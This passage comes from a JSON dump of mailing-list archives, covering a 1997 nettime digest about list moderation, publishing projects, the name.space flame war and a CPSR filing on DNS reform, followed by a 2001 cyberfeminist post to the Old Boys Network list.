how\n  to distribute tasks+responsibilty if there is 'no money\n  in sight'? do we all have to become electronic monks?)\n* what is a moderator, what are his/her tasks, what are the\n  responsiblities? is there a way to collectify, enhance or \n  distribute the task of moderation without adding more chaos\n  and paranoia. \n\n-- hope these questions are not too compromising, any\n   criticism and commentary is welcome, whatever comes\n   in your mind, post it and it will get digested and\n   reposted here. --- \n\n\n2. next practical projects (new work to be done..):\n\nA) the nettime offline archive:\n as announced long time before, there is a chance now \n to put the complete nettime archive+zkp1,2,3,4 on a cdrom.\n (plain ascii nettime archive from June 1995 to September 1997.\n 3.1/2 inch disc) it will get payed by ars electronica and\n distributed trough their channels. (le parasite) it will\n remain public domain for non-commercial use. any suggestion\n for the cover and the database design and a cool copyright\n disclaimer are welcome. this weekend a text will follow where\n every author will get asked for permission. the print run\n will be around 1000. We try to find a way to make an quick\n & easy shipping for subribers possible. \n\nZKP4, and the world\n same counts for the zkp4 which will be soon available\n trough the v2 archive in  Rotterdam, thanks! Ljudmila still\n sits on ca. 5000 copies. Here in Kassel we will probably \n will be able to run empty. We sucessfully used the dX postal\n service (thanks!) and all the authors should now have their\n private copy. everything else needs extra funding. IF YOU out\n there like to redistribute ZKP4 (find http://www.factory.org/nettime )\n in Australia, Asia or Amerika please go in contact with us.\n We will try to ship as many as possible copies to Rotterdam\n where there is a big harbour.. (You might re-sell the copies\n for the shipping costs.)\n\nB) the book also called the nettime bible:\na team of some highly engaged nettime editors will meet\nin Kassel during Sept., this group was growing not at least\nthrough the meeting in Ljubljana. we will try to make the \nprocess as transparent as possible without playing 'parliament'.\nthere will be a way for every serious nettimer to intervene. \nwe'll work on a raw version of a table of contents sorting and\nselecting the textes and locate them around 'several planes'. \nSomeone mentioned a comic's section, more graphix etc. It is \nyet completly unclear who will do this. The first manuscript\nmay get printed soon for common comments. Mieg van Eden at\nfactory.org is currently working on a annotation solution, \nthis will make Paraphernalia (Frank Hartmann) possible\nand introduces dialogue into a more discoursive text form.\n\nC) a better place for the nettime-techies:\nThere is also the idea about setting up the virtual\ndomain nettime.org, Walter van de Cruisen who soon opens a\nweb-multiuser-irc-moo at ZKM will redesign the ZKP-site\nand downgrades to HTTP1.O. It was long planned to start\na technical mini-mailinglist on the software-side\nof nettime. the collaborative interfaces, publishing tools, \ne-cash-machines, profile-data-bases, object oriented data\nheavens, indulgent agents, chat, net-phone, and psychic\napplets, GNU groupware, nettime-linux, and possible contributions\nto the content liberation front may get discussed here. Let's\nbring some theory and practise into a result (or at least some\ncool plans). if you want to add, your competence, time, brain...\nplease write at this moment to mieg {AT} factory.org or pit {AT} icf.de\n\n\nprocessing more diversification \n(as discussed in Ljubljana):\n\nSYNDICATE!\n(ex-east)european issues theoretical and mainly practical,\nspecially if media-art related should go now to the V2East list\nsyndicate {AT} aec.at := Moderator is Andreas Broeckmann <abroeck {AT} v2.nl> \nwho waits for your mail. it's growing and the output of and after\nthe meeting in Kassel is amazing, big future. it is obviously\na list with very pragmatic not to say infrastructural goals and\nit works(?) perfectly as an example of synergetic coexistence in \nthe nettime neighborhood.\n\nFACES-L\nvery cyberfeminist issues get discussed in faces-l {AT} icf.de\nmoderators: kathy {AT} thing.at, diana {AT} dial.isys.hu, and Connie Sollfrank\n<100136.14 {AT} CompuServe.COM> et.al. i heard its very productive and vivid.\nplease have a look at Faith Wilders article posted here on nettime\nand expect an surprising autumn.\n\nother friendly neighbors:\nRewired, Rhizome, Telepolis, Ctheory, Mute, Meme, E-minds, Well, RRE, \nEnode, The Obvious, Netly News and many more (unsorted). who likes to \nadministrate a list of cross-links? it will go onto the desk.nl site and\nwould need some gardening from time to time. \n\nok i don't want to bother you with mroe sermons. it would be great\nif nettime would get back into the good groove. tell us what you think.\n\n/pit\n\n====================================================================\nDate: Thu, 21 Aug 1997 23:20:48 +0300 (EET DST)\nFrom: Tapio Makela <director {AT} kaapeli.fi>\nTo: nettime {AT} Desk.nl\nSubject: Suggestion for Nettime...\nDear Pit & other Nettimers,\n\nBeing aware that no unified \"we\" is neither possible nor desirable, \"we\"\ncannot be a starting point for a constructive discussion in an open\nlist such as Nettime. \"We\" refers to an understanding of a common ground\nor an identity somehow negotiated or represented in Nettime. For me, at\nleast, Nettime is not about belonging to a group, but rather voluntarily\nparticipating into a flow of writing, discussions, info bits, and\nnonsense. Hence \"us\" may merely refer to those on the list without further\ncommitments in terms of one's identity.\n\nWhat surprises me on this list is also a partial closed-mindedness about\ndifferent positions from which critical perspectives can arise. Perhaps\nfor many artists and scholars in a grant based understanding of\nindependent positionings it is difficult to accept that their\neconomical independence is that only in relation to a private sector. What\nwould that signify?\n\nAny of \"us\" working with new media or any processes that are embedded in\ntechnological change, a connectedness to small and also international\nenterprises is there. I would say that more people on this list are more\nkeen to pinpoint the connections of VR to military industry than their own\nconnectedness to commonplace media industry. State & Art grants are\nconnected to art industry with its own games of power.\n\nWhat I am getting at (to put it short since time is limited tonight and my\nflu is bugging me off the keyboard) is that polarization of private and\npublic capital in terms of political or critical standpoints is not\nrelevant. At the same time I want to stress, that this remark does not try\nto argue against public funding, only the (perhaps neomarxist undertoned)\ntendency to make that polarity a political gauge.\n\nSituations for private and public funding certainly have different\npolitical ties in each culture. Here in Finland I, as well as many other\ncolleagues, are getting extremely tired, angry, and disappointed of the\npublic cultural funding due to its negativity towards youth & change. Art\nindustry and public funding here are a close marriage, and the space for\ncritical activity therein almost impossible. Hence, the possibility to\ncreate independence through other than public sources of funding for\ncritical activities is extremely interesting at the moment.\n\nIf, through using the innovative cultural and media know how and \"our\"\ninternational networks, it is possible to create such economical\nenterprises, how could that somehow deteriorate the position of critique?\nOr is the fact that someone or some group of individuals can generate such\na source of economical self support considered as threatening among those\nwho are dependent on it not existing?\n\nSupporting the privately generated funding as the only alternative is\nequally embedded in arhcaic (very current) politics, neo liberalism. Mixed\nmedia, mixed capitals, mixed identities is the state of affairs\nindependent of Nettime and any thoughts exressed within.\n\nI am not interested in discussing with people who want to attack this\nposition: there is nothing there for me to defend. It is not a position of\n\"my subjectivity\"  - - only a point of view about some very central issues\naround \"Hybrid Media, Hybrid Capital\".\n\nIf there are others interested in a interdisclipinary analysis of this\nsubject matter, I would like to invite you to do a net publication with me\nfor next year. I will also coordinate a conference next year autumn in\nLapland with Hybrid media and capital as a central theme.\n\nWhen both media and capital are seen as hybrids of social, cultural,\neconomical and political layers, no single layer can exist in total\nisolation from one another. This leads towards a more responsible idea of\nbusiness, but also a more socially and economically connected \"art\". For\nme, no matter in which realm I move, being critical is being political in\neach realm through texts, acts and interaction.\n\nTo go briefly back to the idea of \"us\". Internet as an environment is seen\noften as far too total, as if its importance was a determining factor of\nhow one performs as an \"I\". On Nettime, I think, many of the contributors\nperform as writers, artists, poets, hackers, academics, media activists,\noff-media activists, or through some other frame of reference.\nEveryone is seen through their \"Name\" in the \"From\" -field, but what does\nthat signify? Like right now, the \"I\" who writes has still 37,7 degrees of\nfever, does not use text editing but direct telnet due to something on my\nweb server, I sit inside the Attila Parasite, busy as usual, not enough\ntime to follow all the info bits on Nettime, especially now, ill, too much\nto do... So being the very random partial \"I\" on Nettime, as one of the\nvery fragmentary random \"us\" there is really nothing else to decide about\nbesides how to keep this list as an innovative and constructive\nenvironment for potential dialogue - - some of \"us\" may actually have\ncommon interests.\n\nDisagreeing on things is necessary, but labeling, info/anti-info\ncampaigns, insulting remarks are frustrating, conradictory to the above\naim. How to be critical and constructive at the same time without being\n\"personal\" in the negative way, yet remaining \"personal\" in the many\npositive fragmentary ways that this interface allows?\n\nI would suggest, for this list, at least one thing. What about opening a\nchannel called info.nettime {AT} desk.nl, which would distribute announcements\nabout events, calls for participation, etc, but which would not include\ndebates? Then the nettime list would be left for discussion on issues,\ntexts and debates which have more depth than agreeing about whether \n1=3D1 or 1=3D0.\n\nIn Gordon Cook's case, I see a person who can never admit being wrong\n(1=3D1). Paul Garrin, who in my mind is very genuinely attempting to create\na cultural-critical-economical media hybrid together with other people\ninterested in that approach, uses many arguments to say (1=3D1). But\nreading G attacking PG and PG defending against G is unnecessary for\nus to read.\nBut, I do want to read the Name.Space info from Nettime. What is the\nsolution? I would suggest, that on something like info.nettime there could\nbe a ban not to flame, an agreement to keep it cool. Since Nettime is a\nstage of critical media of a sorts, there are many performeres who just\nwant to be there for textual narcissism. There seems to be too many of\nthem around. This is a problem in any public space. Does someone really\nlike mimics?\n\nOn the Flesh Factor AE list there is a discussion going on about how there\nshould be more \"culture\" in discussing \"technology\", and remarks about how\nthey are really not separate, but intertwined. Quite basic thing, I guess.\nSurprisingly enough, this similar simplicity appears every now and then\nwhen discussing media and society, culture and capital, private and\npublic, x and y, in and endless array. It seems like all the\npoststructuralist, deconstructive and postmodern varying practices and\ntheories have gone down the drain, just like the past two decades had\nvapourized in media haze. Could it be that \"we\" are witnessing a\ndeteriorating of critical discourse into media positivism, a discourse\nwhere critical means \"being there\" and media is taken for being critical?\n\nI hope that Nettime will prove the opposite (sic!).\n\nback to drink some hot tea,\n\nnice late summer from Helsinki,\n\n\nTapio Makela\nfrom Digital Drive In (muu.autono.net/digit)\nand Parasite project with Attila, Rotterdam, going on\nwww.attila.nl/attila/attila.nl (come see us after a few days)\n\n====================================================================\n[redirected, hope it's ok..]\nDate: Thu, 21 Aug 1997 13:48:08 -0500\nFrom: \"David S. Bennahum\" <davidsol {AT} panix.com>\nSubject: Time to moderate nettime\n\nPit-- hello.  How are you?\n\nA quick thing: I think you should begin moderating (or someone else)\nnettime. The volume is up, the quality is down.  I was traveling last week,\nand was overwhelmed with the nettime pissing contest.\n\nThis is totally normal for a list when it passes a certain number of\nparticipants.\n\nPerhaps you could bi-furcate into two lists: unmoderated & moderated.\n\nbest,\ndb\n\n=========================================================================\n[from Budapest]\nDate: Wed, 20 Aug 1997 01:40:04 +0200 (MET DST)\nFrom: Steven Carlson <steve {AT} pk4.com>\nSubject: enough homework already ...\n\n   > The following is a homework assignment for Cook and Byfield (and anyone\n   > else who subscribes to their baseless mutterings):\n\nEnough is enough.\n\nPaul,\n\nI have followed your name.space project with some degree of interest, but I\nhave to draw the line here. I strongly object to the arrogant tone of your\nmessages.\n\nIf you care at all for your project then I urge you to stop and cool down.\nYou're not likely to persuade people or win support if you address the list\nin this fashion. And that's the point, isn't it? Name.space is technically\nfeasible, but in order to make it *real* you need to persuade people to use\nit in significant numbers. Thus, name.space depends on PR.\n\n   > Instead of being the curmudgeons scowling in the corner waiting for and\n   > opportunity to piss on everyone, try and do/say something constructive\n   > for a change.\n\nIs this constructive behavior? With all due respect, you're behaving like a\nchild, Paul, and this hardly adds credit to your cause.\n\nName.space has so far won considerable support from the nettime crowd, in\nparticular Geert and Pit. You're not doing your cause any good at the\nmoment. I suggest that you change your tune and apologize.\n\n\nSteven Carlson\n\n\n===========================================================================\n[from NewYork]\nDate: Tue, 19 Aug 1997 19:49:29 -0400\nFrom: mf {AT} mediafilter.org (MediaFilter)\n\n\nSubject: CPSR Response to USDoC Notice of Inquiry on the Future of DNS\n\nWhile reading the comments posted on the last day of the\nUSDoC's Notice of Inquiry on the Future of DNS, I came across\nmany echos of the issues that Name.Space has been\ncampaigning for since its beginning.\n\nGo there and read the comments....  ATT's proposal has points\nwhich support or even directly echo issues that Name.Space has\npromoted and discussed (although there are some points that\nName.Space does not agree with).  ATT has visited Name.Space\nmany times, as evidenced by server logs.\n\nThen I came across the comments from the CPSR (Computer Professionals\nfor Social Responsibility) and it almost reads like the\n\"Name.Space Manifesto\".  I should have hired them for my PR! :)\n\nAlthough CPSR, in its statement to the USDoC,\ndoes not specifically mention Name.Space as a single entity,\nthat Name.Space and CPSR largely and autonomously share\nthe same consensus, is clear.\n\nHow CPSR arrived at its recommendations is irrelevant.\n\nRead on...\n\nCheers.\n\nPaul Garrin\n\n\n--------------------CPSR Comment Follows---------------------------\n\nFrom: Glenn B. Manishin <glenn {AT} technologylaw.com>\nTo: NTIADC40.NTIAHQ40(dns)\nDate: 8/18/97 9:17am\nSubject: CPSR Comments on Internet Domain Names\n\n[.../p]\n\nCC: \"Glenn Manishin\" <glenn {AT} technologylaw.com>\n\nBefore the\n\nUNITED STATE DEPARTMENT OF COMMERCE\n\nNATIONAL TELECOMMUNICATIONS AND\n\nINFORMATION ADMINISTRATION\n\nWashington, D.C. 20230\n\n\n\nIn the Matter of                     ) ) Request\nfor Comment on Registration  )       Docket No.\n970613137-7137-01 and Administration of Internet\n      ) Domain Names                         )\n\n\n\n\nCOMMENTS OF THE\n\nCOMPUTER PROFESSIONALS FOR SOCIAL RESPONSIBILITY\n\n\n\nAki Namioka, President Glenn B. Manishin Harry\nHochheiser Michael D. Specht Andy Oram Christine\nA. Mailloux Computer Professionals for Social\nBlumenfeld & Cohen - Technology Law Group\nResponsibility <http://www.technologylaw.com>\n<http://www.cpsr.org/home.html> 1615 M Street,\nN.W., Suite 700 P.O. Box 717 Washington, D.C.\n20036 Palo Alto, CA 94302 202.955.6300\n415.322.3778 Counsel for CPSR\n\n\n\nDated: August 18, 1997\n\nThe Computer Professionals for Social\nResponsibility (CPSR) <http://www.cpsr.org/\nhome.html>, by their attorneys, submit these\ncomments in response to the Notice\n<http://www.ntia.doc.gov/ntiahome/domainname/dn5notic.htm>\nreleased by the National Telecommunications and\nInformation Administration (NTIA)\n<http://www.ntia.doc.gov> soliciting public\ninput on the present and future systems for\nregistration and administration of Internet\ndomain names.\n\nSUMMARY\n\nThe current controversy over the Internet=D5s\nDomain Name System (DNS) raises important\nquestions about how the Internet, as a\ndecentralized, global medium, should be\nadministered and governed. While much of the\nInternet was invented and originally funded by\nthe US Department of Defense and the National\nScience Foundation (NSF) <http://www.nsf.gov/>,\nand although its governing institutions were\ninitially established and sanctioned by the\nAmerican government, the Internet=D5s technical\nstandards and basic policies have in fact been\nset by a number of ad hoc, consensus-based\nconsortia comprised of Internet service\nproviders, engineers and users. This system\nworked for a long time because of the shared\ngoals and technical sophistication of the\nInternet=D5s original academic-based user\ncommunity. See And How Shall the Net Be\nGoverned?, by David R. Johnson & David G. Post\n<http://www.cli.org/ emdraft.html>.\n\nBut increasing commercialization and explosive\ngrowth have begun to strain the consensus-driven\nprocess of Internet administration. The strong\nand widely publicized reactions of many\nproviders and users (and foreign governments)\nagainst the Memorandum of Understanding (MOU)\ndeveloped by the Internet Ad Hoc Committee\n(IAHC) <http://www.iahc.org> for revisions to\nInternet domain name registration and\nadministration <http://www.gtld-mou.org/> show\nthat the stakes are high and that more open,\nconsidered and perhaps formal mechanisms for\nInternet self-governance -- and for evaluating\nalternative DNS proposals -- are called for in\nthe present environment. In these comments, CPSR\nfocuses on proposals for reforming DNS with a\nview toward maintaining open Internet\nself-government, introducing competition into\nInternet domain name administration, separating\nDNS management from trademark protection, and\nsupporting the continued growth of the Internet\nitself. (CPSR addresses each section of the NTIA\nNotice, and as requested our comments in\nSections II-VI follow the organization of the\nNotice.)\n\nAs discussed more fully below, CPSR -- a public\ninterest alliance of information technology\nprofessionals and others concerned about the\nimpact of computer technology on society,\nfounded in 1981, with over 1,400 members and 22\nchapters nationwide -- believes that DNS is too\nimportant to the structure of the Internet for\nDNS =D2reform=D3 to proceed in a hasty or\nill-conceived manner, particularly without\nadequate input from consumers and other users of\nthe Internet. Whatever its merits, the IAHC\nprocess was closed, rushed and unbalanced,\nleading to a proposal that should not be\nendorsed by the US government. CPSR commends\nNTIA for commencing this open, thorough public\nairing of DNS issues, and for its express\nacknowledgment that DNS reform, like other\naspects of Internet governance, should remain a\nmatter for the Internet community itself, not\nnational or international government agencies.\n\nCPSR proposes that changes to the current DNS\nmodel must reflect the twin goals of maintaining\nInternet self-governance, thus minimizing\ngovernment=D5s substantive role in Internet\nadministration, while avoiding the continuation\nof de facto DNS monopolies in the increasingly\ncommercialized Internet. We also emphasize,\nhowever, that there is no present =D2crisis=D3 in\nDNS administration that requires hasty\nimplementation of any system for DNS reform,\nincluding those proposed by IAHC, Network\nSolutions, Inc. (NSI) <http://www.netsol.com/\npapers/internet.html> and others. Unlike IAHC or\nNSI, CPSR believes that the twin aims of\ncompetitive Internet services and\nnon-governmental Internet administration can and\nshould be applied to the DNS system. A sensible\nplan for DNS reform combines the better elements\nof both the IAHC and NSI proposals, while\njettisoning others. In this light, CPSR proposes\nthe following principles for reform of the\nInternet DNS system:\n\nA. The Internet domain name registration process\nshould be opened to competition for all existing\nand newly created generic top-level domains\n(gTLDs).\n\n1. Shared gTLDs should be administered by\ncompeting registrars, with restrictions imposed\nonly based on any technical limitations.\n\n2. No registrar (NSI or others) should enjoy a\nproprietary interest or commercial \"ownership\"\nof any gTLD, including \".com\".\n\nB. Domain registration should be separated from\ntrademark issues.\n\nRegistrars should not be involved in trademark\ndispute resolution, but rather should refer all\ntrademark issues to appropriate national and\ninternational judicial bodies.\n\nC. The Internet's \"root\" server administration\nresponsibilities should be coordinated and\ncentralized in order to assure reliability and\nscaleability of the Internet.\n\nD. The DNS reform process and ongoing DNS\nadministration should be handled in an open,\nbalanced and non-governmental manner, with full\nparticipation by consumers and small commercial\nentities, in addition to trademark owners.\n\n1. International quasi-governmental\norganizations (ITU, WIPO, OECD, etc.) should\nhave no formal role in Internet governance or\ndomain name registration. The extensive new\nbureaucracy for domain name management and\noversight proposed by IAHC, including a\nSwiss-based Council of Registrars (CORE), a\nPolicy Advisory Board (PAB)\n<http://www.pab.gtld-mou.org> and a higher level\ninterim Policy Oversight Committee (iPOC), is\nunnecessary and counterproductive.\n\n2. National governments (Commerce, DOD, etc.)\nhave no necessary role in DNS administration\nexcept for ISO 3166 TLDs (e.g., \".us,\" \".de,\"\netc.) and maintaining fair, open and\ncompetitively neutral Internet self-governance\norganizations.\n\n3. The IAHC process was inconsistent with open\nInternet self-governance and biased towards\ntrademark owners. With encouragement from NTIA,\nthe Internet Society (ISOC) should be required\nto open up the process to permit full debate by\nthe global Internet community on DNS practices.\nThe absence of any \"crisis\" in domain name\nresources allows for thoughtful and deliberate\nconsideration of DNS issues.\n\n4. Hasty implementation of the IAHC approach\nwill continue to splinter the Internet community\nand would unnecessarily involve international\nquasi-governmental organizations in Internet\ngovernance. The DNS reform process should be\nslowed in order to permit achievement of a\nconsensus approach that all interest groups\n(including Internet users/consumers) can\nsupport. No \"rush to reform\" is necessary.\n\n5. The US government should not endorse, and\nshould actively oppose, intervention by ITU and\nWIPO in the DNS administration process. The\ngovernment should not attempt to unilaterally\ndictate any specific domain name registration\nprocess for gTLDs, which are global Internet\nresources.\n\n[good luck! to be continued... ]\n\n===========================================================================\n\nTue, 19 Aug 1997 18:51:04 +0100\nFrom: Patrice Riemens <patrice {AT} xs4all.nl>\nSubject: a semi-open letter to Paul Garrin\n\nsemi-open letter, because nettime is a semi-closed mailing-list ;-) \n\n\nDear Paul,\n\nFor something that looks like ages now, I have been following the\nname.space saga on nettime. It is surely our longest lasting tele-novela\n(tele for telenet, of course), and I must say, I thoroughly enjoy it, and\nfind it very informative. I also think nettime is and will remain the\nright platform to project & discuss the name.space issue as part of the\ngeneral internet politics, was it only since if it was not in nettime,\nwhere would I be able to get all that information?\n\nNow, the main visible (as opposed to substantial) characteristic of the\nname.space saga as it evolves on nettime seems to be its volcanic quality,\nwhereby you play the role of some kind of very ill-humored Dante's Peak,\nout to engulf all those who dissent with you in a fierce pyroclastic\nstorm. Like a seemingly increasing number of readers of this list, I think\nthe point has been reached where this approach damages rather than serves\nyour cause.\n\nOver the last weeks you have - again - become more and more strident (and\nin the process also a bit (c)rude), about people harbouring doubts about\nany or all aspects of the name.space project, something I feel is\neverybody's good right. You also made (IMMO) the mistake of taking\ncriticism of name.space for criticism of your own person and/or your bona\nfides, whereupon you saw it fit to return the compliment. In so doing you\nlook and sound increasingly, excuse the dutch word, \"verongelijkt\" \n(something like \"put against one's will in a situation of not being\nright/believed\".  Now Leibniz said that dutch was probably the best\nlanguage to write philosophy in (some home-work for Byfield, Cook &\nStahlman here...), so let me explain my point further.  There is another\ndutch expression, which says that there is a big gap between \"gelijk\nhebben\" (to be right) and \"gelijk krijgen\" (to be accepted as being\nright). To me that seems to subsume your situation in the name.space\nissue.  I'd like to add: this is not a drama, and every one of us,\nespecially the somewhat maverick/marginal/mal-pensants type that\nconstitute this nettime \"movement\", is more or less constantly in this\nsituation. \n\nNow I have always considered the name.space project as a very good\ninitiative, and I continue to do so. (if you want to know why my name does\n*not* appear on the petition: my browser/machine could not locate it!). I\nhave gladly, if very modestly, supported it, and I think it has many\nmerits, was it only to make a lot of racket among those who would wish to\ntake over the Internet without anybody noticing.  I do not buy everything\nyou say be it about name.space commercial viability, or its support of\nartists, or its technical feasibility in general, not only by what I am\nable to judge by myself (in technical matters: next to nil), but also\nbecause of the criticism I hear/read, all of which is not as totally\nsilly, biased, and incompetent as you choose to portray it.  But I need\nnot to agree with everything in order to think of name.space in terms\n'globally positive' (to borrow a phrase from good'ol French Communist\nParty parlance...). And I think that would be the opinion of the majority\nof the people on this list, but I fear that you are eating into, rather\nthan expanding that majority. \n\nSo my modest advice to you Paul, with all due respect for your manifold\nactivities and initiatives (or rather: because of them), would be: chill\nout! Cut the vindicative pronouncements about people disagreeing with you.\nAnd of all the homework you assign other people (I fear to think what\nmight come my way!), do just one item yourself: #8 : smile!  As I know\nyou, you're very good at it.\n\nWith very best wishes and kind regards,\npatrice\n  \n\n===========================================================================\n\nDate: Tue, 19 Aug 1997 16:28:34 -0400\nFrom: Tilman Baumgaertel <Tilman_Baumgaertel {AT} compuserve.com>\nSubject: Bibles\n\nGeert wrote:\n\n>>> By the way, there are several Bibles in the making now\n(a quick, thick and dirty one and an academic American anthology). <<<\n\n        Are we going to learn at one point what these \"Bibles\" contain?\nI am an atheist, and wouldn't want to find my postings in anything called\n\"bible\", especially without knowing about it. \n\n        I don't mind if the material from this list gets xeroxed\noccasionally. But this summer the ZKP 4 reader seems to pop up on every\nsingle event I go to. And if the postings from this list appear in academic\nanthologies, it becomes an entirely different matter.\n\n         I don't understand why every little posting form this list has to\nbe printed \"quick and dirty\" on paper to begin with, when there is a handy\nonline archive at the factory-server.\n[general question: why doesn't the paperless office, book, academia, \nentertainment exist yet? general answer: we live still in a hybrid\nmedia culture and that's what makes it interesting.]\n\n        I don't even think that everything that goes over this list is\nworth saving or publishing - just think of the embarrasing flame war\nbetween Garrin and Cook last weekend. Would anybody want to see it in\nprint how two grown-up men tell each other not to pee in their pants?\n[a bit more trust in the moderators?]\n\n\n        Don't get me wrong: I highly appreciate the effort that you,\nGeert and Pit, have put into setting up nettime and keep it running. And\nI feel indebted to you for creating this context from which I personally\ngained a lot. I met people I probably would have never met without nettime,\nand established important relationships with some of them. I also made use\nof nettime material for my work as journalist, and I tried to contribute to\nthe nettime context by posting some of my own work. \n\n        But now it looks like nettime is turning into a publishing house \nor a content generator for print publications. That's why I think that some\nclarification of the issue of \"bibles\" (content, distribution of the \n\"quick and dirty\" one, etc) would be in place.\n[don't hurry, like before: no profit will be made finally, and if then\nit will get reinvested. let's continue to think about an 'author\ncollective' without becoming an institution or a company, networks of\ntrust. that there is\ncontent with a certain value here, should be out of question, that the\nmoderators are not \"running away with the server\", too. \nwhoever read until here, please comment on this and we will compile a\nnext digest. Q: What kind of publication you would imagine as the best\nof all possible for nettime?? How it would look like? Where you will get it?]\n\nYours, \nTilman\n\n=============================================================================\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 22 Aug 1997 01:19:14 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199708221658.RAA02619 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9708/msg00100.html",
                "list": "nettime_l",
                "author_name": "nettime maillist",
                "subject": "<nettime> the we of nettim"
            },
            {
                "content-type": "text/plai",
                "from": "\"Claudia_Reiche\" <Claudia.Reiche@hamburg.de>",
                "id": "00009",
                "content": "dear all,\nW E L C O M E\n;  ))\nto the Old Boys mailing list! (This is a homeless situation but  a space  to\nbe written ) A too late welcome, my postings kept returning..., but this\nimpossible female 'hospitality' smile must have invaded  my face  for some\ntime ( see Irina Aristarkhova read Derrida)\nSo I smile to greet myself and every new and old old boy,  - an old old Boy\nmyself \u00ad having been within this network  even when the Old Boys Network did\nchoose  its masquerade-name.  Naming to mask an expression?  No.\nmasquerading to create: a method is in operation.\n\n'Boy' can indicate  a lesbian sense  - but it's ok, I understand -  not\neverybody  can be  a lesbian butch or an erotically boyish element  within\nthe Old Boys Network. What else?  'Old Boy' - this can indicate  as well a\nmember of an 'eminence grise': It's the same in this respect:  not everybody\nof this 'Old Boys Network' - formed of members with female first names - has\na dubious influence  like the legendary , classical old boys: notorious\ncriminal  'families', political leaders  etc. This classical maleold boys\npower is assumed to lay in their group structure - as hierarchical and\nrepressive  as  some biologists have described  reality from the point of\nview in animal groups - , based on strict inclusion or exclusion of members.\nWhy not telling this story: Such a classical male old boys network is bound\ntogether by concurrence and fights for priviledged positions  in the group.\nThe price would be the obedience of the SLAVE-boys  in order to be rewarded\nfor this  patience  with the death of such a 'father'-MASTER, one of them\novertaking  the inheritage, (...which will not work out like imagined ...\n\"Before Darwin, however, Hegel had provided the ultimate theory of the\nproper function of aggressivity in human ontology, seeming to prophecy the\niron law of our time. (...) Here the natural individual is regarded as\nnothingness, since the human subject is nothingness, in effect , before the\nabsolute Master that  is given to him in death.   (...) the problem is\nknowing whether the Master/ Slave conflict will find its resolution in the\nservice of the machine, for which a psychotechnique that is already proving\nrich in ever more precise applications will be used to provide space-capsule\npilots and space-station supervisors.\"Lacan, Aggressivity in psychoanalysis)\n\nAdmittedly:  such a classical male old boys structure  can still be seen as\na very simple  network,  but topologically it's more or less the\nhierearchical tree form with one chief and perhaps one or two circuits\nformed with the most loyal branches.  The branches on the same height\nperhaps 'feel' like networking, but from your point of view? These\nclassical 'networks'  of old boys  do not really deserve the indication\n'network' any loger - in today's technical implementation: in the\nmathematical  form and structure  of the internet. As to a certain degree\nthis structure may speak for and by itself ..., for every subject is spoken\nby it's organizing  structure?  Anyhow there are still machine or other\nsubjects  transmitting  signals as messages within this network.\n\nThat's the point where  CYBERFEMINISM enters the stage. Because  which other\ntwo things on earth do have more in common than  a woman and a machine? Both\nare  very often considered not to be - REAL \u00ad MEN. As Alan Turing reports\nin his famous essay 'Computing, Machinery andIntelligence' 1950 (on machines\nwhich cannot be said not to think) - women do not have a soul in islamic\ncultures. At least  this is a general  question in relation to the machines\n(chess computers etc.) in genreral in other parts of the civilized world  as\nwell. An authentic ,natural  affinity between femininity and machine arises\nfrom such similar  positioning.\nThe real tihing, The bell rings\n\"Who is speaking?, Who's there ? \"-\n\"Me!\" -\n\"There?\" -\nwhere CYBERFEMINISM is.\nNevertheless the belief that  the internet  is defined by the technical\npossibility of  a non-hierarchical  flow of information without  one\nMASTER/center   must have been taken  as a starting point  for the\norganisation  called 'Old Boys Network', which cannot be said not to be real\nor men, nor not to think.\nThe imposssible  and  inevitable procedure  is to undergo the  MASTER/ SLAVE\nlogic  ( as well as the classical MALE/FEMALE logic, and the MAN/MACHINE\nlogic, and the  MIND/BODY logic, and the INFIORMATION/MATTER logic  etc. -\nhoping  that the influence of the internet's topology  propels this\ntendentious wish.\nPlus the bet of this Old Boys Network  is: not  to be able to obey an\nabsolute MASTER, (mathematically based technologies,  or  death). But\njudgement of this point  remains  ambivalent, as was to be expected in a\nNETWORK.\nIf judgement day never comes?\nAll in all, the starting point  of the Old Boys Network' has no ground, no\nfoundation, no justification, no proof for it's existence, no owner, no\nauthor - but it cannot be said  not to  exist. Or:  it's nothing  \u00ad other\nthan a pure and paradoxical masquerade with nothing  other behind the mask.\nOr:  it's like the difference between the zeros and ones of the digital\nmedium.\nPlease  consider the following offers which something like  the 'Old Boys\nNetwork' could give to you in abundance\n- lack of hierarchy\n- lack of tradition\n- lack of posession\n- lack of identity\n- lack of being\netc.\nIt's up to you.\nI hope  to discuss possible and impossible translations of these structures\nin a working practice -  artistic, political and theoretical methods.  Can\nthe 'lack' of form become a form? Is this terror?\nHow to use these negations of 'not' or 'not enough' as a productive and non\nhierarchical space?  If it's possible to open up this space, how to defend\nit? To me the translation of these ideas in collective forms and functions\nof a network  is the essential question and subject of the Old Boys Network,\nwhich has the rersearch/invention of CYBERFEMINISMS as its subject.\n\nwrites Claudia Reiche\nhttp:// www.obn.org/people/Reiche/works.html\nhttp://www.thealit.dsn.de/kultur/cyberfeminism/cyber.html\nhttp://www.rrz.uni-hamburg.de/koerperbilder.html\n\n--\nclaudia.reiche@hamburg.de\n\nClaudia Reiche\nMarthastr. 31 c\n20259 Hamburg\nGermany\n+49-40-4300971\n0179-5300842\n\n\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                "date": "Fri, 27 Apr 2001 04:59:48 +0200",
                "to": "ldboys@lists.ccc.de",
                "message-id": "33439c1535760d08af43ffdfa4808110@NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/oldboys-0104/msg00009.html",
                "list": "oldboys",
                "author_name": "Claudia_Reiche",
                "subject": "[oldboys] welcom"
            },
            {
                "id": "00001",
